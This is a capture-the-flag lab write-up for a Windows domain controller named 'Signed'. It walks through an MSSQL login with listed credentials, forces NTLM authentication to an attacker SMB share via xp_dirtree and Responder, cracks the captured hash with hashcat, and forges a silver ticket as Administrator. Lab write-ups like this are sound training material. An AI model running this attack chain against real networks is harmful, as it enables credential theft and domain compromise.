Signed¶

Initial Scan¶

Discovered open port 80/tcp on 10.10.11.90

The target is a Windows Domain Controller for signed.htb.

Enumeration¶

MSSQL is accessible with the scott account:

scott:Sm230#C5NatH

mssqlclient.py 'SIGNED.HTB'/'scott':'Sm230#C5NatH'@'10.10.11.90' -windows-auth

Foothold¶

NTLMv2 Hash Capture¶

Using xp_dirtree to force an NTLM authentication to our machine:

# Start Responder first
responder -I tun0

# From mssqlclient
EXEC master..xp_dirtree '\\10.10.14.32\share';

Captured hash:

[SMB] NTLMv2-SSP Client   : 10.10.11.90
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:86185abdaab88cd0:392CB5BCE53F2ADC49228652556656AB:01010000...

Cracking with hashcat:

hashcat -m 5600 -a 0 hash ~/wordlists/rockyou.txt

purPLE9795!@

Silver Ticket¶

The mssqlsvc account can log in to MSSQL:

mssqlclient.py 'SIGNED.HTB'/'mssqlsvc':'purPLE9795!@'@'10.10.11.90' -windows-auth

Checking sysadmin role members, SIGNED\IT is a sysadmin. Querying SIDs:

SELECT sp.name AS LoginName, CONVERT(VARCHAR(255), sp.sid, 1) AS SID_Hex
FROM sys.server_principals sp WHERE sp.name = SUSER_NAME();

SELECT SUSER_SID('SIGNED\IT');

SID information:

Forging a silver ticket for SIGNED\Administrator using the mssqlsvc NTLM hash:

ticketer.py -nthash 'ef699384c3285c54128a3ee1ddb1a0cc' \
  -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' \
  -domain 'signed.htb' \
  -spn mssqlsvc/dc01.signed.htb \
  -groups 1105 -user-id 500 Administrator

The silver ticket grants SIGNED\Administrator access to the MSSQL service as sysadmin.

Flags¶

root.txt: ***